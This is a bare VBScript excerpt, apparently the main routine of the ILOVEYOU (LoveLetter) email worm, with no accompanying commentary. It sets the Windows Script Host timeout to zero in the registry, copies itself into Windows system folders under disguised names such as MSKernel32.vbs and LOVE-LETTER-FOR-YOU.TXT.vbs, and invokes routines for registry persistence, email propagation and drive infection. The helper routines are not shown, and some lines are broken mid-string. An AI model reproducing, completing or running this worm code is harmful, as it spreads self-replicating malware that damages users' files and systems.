sub main()
  On Error Resume Next
  dim wscr,rr
  set wscr=CreateObject("WScript.Shell")
  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
  ows Scripting Host\Settings\Timeout")
  if (rr>=1) then
  wscr.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
  Host\Settings\Timeout",0,"REG_DWORD"
  end if
  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
  Set c = fso.GetFile(WScript.ScriptFullName)
  c.Copy(dirsystem&"\MSKernel32.vbs")
  c.Copy(dirwin&"\Win32DLL.vbs")
  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  regruns()
  html()
  spreadtoemail()
  listadriv()
  end sub